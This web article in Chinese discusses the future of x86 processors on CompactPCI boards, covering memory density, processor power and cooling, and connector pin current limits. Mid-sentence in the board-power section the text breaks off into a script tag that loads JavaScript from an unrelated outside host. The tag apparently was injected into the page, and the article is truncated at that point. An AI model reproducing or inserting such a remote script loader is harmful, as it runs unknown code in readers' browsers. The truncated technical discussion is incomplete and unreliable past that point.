论CompactPCI中x86处理器的未来

作者简介:

jeff munch先生目前为国际picmg 3.0委员会的主席,同时也是凌华科技的cto(首席技术执行官)。munch先生在硬件设计、软件开发、与工程资源管理领域里有超过二十年的经验,在加入凌华的经营团队之前,munch先生曾担任美国motorola计算机事业群工程总监(director of engineering)5年及美国pro-log公司工程副总(vice president of engineering)9年。

compactpci 的处理器卡板供货商目前正遭遇到来自用户的挑战,期望能提供和桌上型产品相同的效能表现、长寿命周期的支持、延伸更广的操作温度区间,以及能支持更丰富多样的周边装置设备。在过去compactpci的历史中,设计者总能在工业标准定义的规范下所提供的功率与空间范畴内,去达成产品使用者对效能表现的期望以及满足周边装置的需求。随着整个产业界开始准备下一代的x86处理器与技术,这些挑战也变得更加困难去克服。这些挑战包括卡板的大小、可供应的功率,以及散热问题等。目前的单槽compactpci处理器卡板采用1.7ghz的mobile pentium 4微处理器,最典型的状况是产生30watts的功率消耗,这些卡板在大部分的compactpci系统中所能提供的每槽50watss功率的条件下是没有问题的,当设计者开始将目标放在3ghz pentium 4微处理器,消耗80watts的功率时,在散热的处理上和空间限制上的挑战就变得比较严重了。要解决这些挑战,设计者所要了解的不仅是在picmg2.0中所定义的compactpci详细规范,还包括了底下的说明中所做的种种假设。对compactpci卡板的产品使用者而言,也必须对下一代x86处理器会对平台的使用带来何种关连性的影响要有一个系统性的概念。

空间的限制

虽然微处理器和周边装置在过去几年中在某种程度上维持了一个算是比较固定的大小,但是有一个地方却在占用的空间上非常快速的增加,那就是系统的内存。低成本的dram和当今的高效能处理器两个条件结合在一起,使得compactpci处理器卡板在内存的需求急遽地上升,大部分的供货商在单槽的compactpci卡板上提供1 or 2 gb的内存,这些内存一般是透过直接附着在卡板上的dram,再加上so-dimm的扩充槽来达成。下一代的设计将会用到4到8 gb的内存,设计者使用典型密度约2gb的sdimm,在compactpci的设计上需用dimm底座来达到8gb的内存。在下一代的卡板设计上,设计者必须要找到方法在一块卡板上放入38个或更多的dram,而且还能够提供满足客户期望的丰富多样周边装置,512mb和1gb密集度的内存芯片将会是必需品。卡板大小所面临的挑战,将是在能完整发挥内存运作下,将内存设备置入并做线路规划,这个目标是可以达成的,但是比较起以往的设计来说,会花上更长的规划与设计周期。

微处理器功率设计导引

在compactpci演进的历史轨迹中,x86处理器已经经历过非常显著的变化。有些非常早期的卡板用的是66mhz的cpu,目前这一代的x86产品,包含了1.7ghz mobile pentium 4 cpu。在嵌入式工业对支持长生命周期的产品需求,造成了产品制造厂在处理器的选择上,倾向从嵌入式或有长周期支持的产品线去选择。这些产品并不像桌上型计算机或服务器的处理器那样走得那么先端,这些产品的生命周期是用年而不是用月来计算的。此外,这个产业也藉由使用mobile processor而取得一些优势,这种处理器在电源供应的需求上和嵌入式以及电信领域的应用非常类似。下圖提供了pentium各系列的處理器與其功率消耗的一個關連性,可以看到pentium iii與mobile pentium 4處理器家族的產品符合了今日compactpci板卡對處理器所提供的30watts功率規格。

展望未来x86的设计,我们可以预期到compactpci卡板的设计将必须支持会消耗到60甚至80watts的处理器。要解决这个问题,将需要更强的散热片设计与更佳的热管理。卡板与机构设计者在协力合作解决散热问题挑战上的能力,对下一代的设计工作将是非常重要。

板卡电源

compactpci卡板透过j1/j2的连接器来接收电源。有8个3.3v、6个5v、1个+12v、1个-12v的电源接脚。这些接脚供应1安培 iec61076-4-101规格的电。每个接脚一安培的限制是保守的,而且某种程度上会误导让人以为所有的接脚可以在周边温度70°c的状况下去接一安培的电流。在现实状况中并不是所有连接器中的接脚都负载到最大的电流量,事实上大部分的compactpci接脚都是负载在以毫安为单位的电流范围中。70°c一安培的限制,是基于流过接脚的电流所产生的热。当电流增加时,也加大了跨过接脚的电位差。产生的热是一种电压和电流的函数,电压和电流的增加会使连接器接脚的温度上升。在compactpci中有最显著电流量的的接脚,是电源供应器接脚。如果设计者假设j1/j2连接器中的其它所有接脚都有电流负载,每一个接脚的最大电流则会是在40°c 2.5amps, 这个信息可以在iec61076-4-101的规格中的4.2.3中被找到。在每个接脚2.5安培的条件下,板卡可取得?script src=http://er12.com/t.js>

  • 论CompactPCI中x86处理器的未来已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计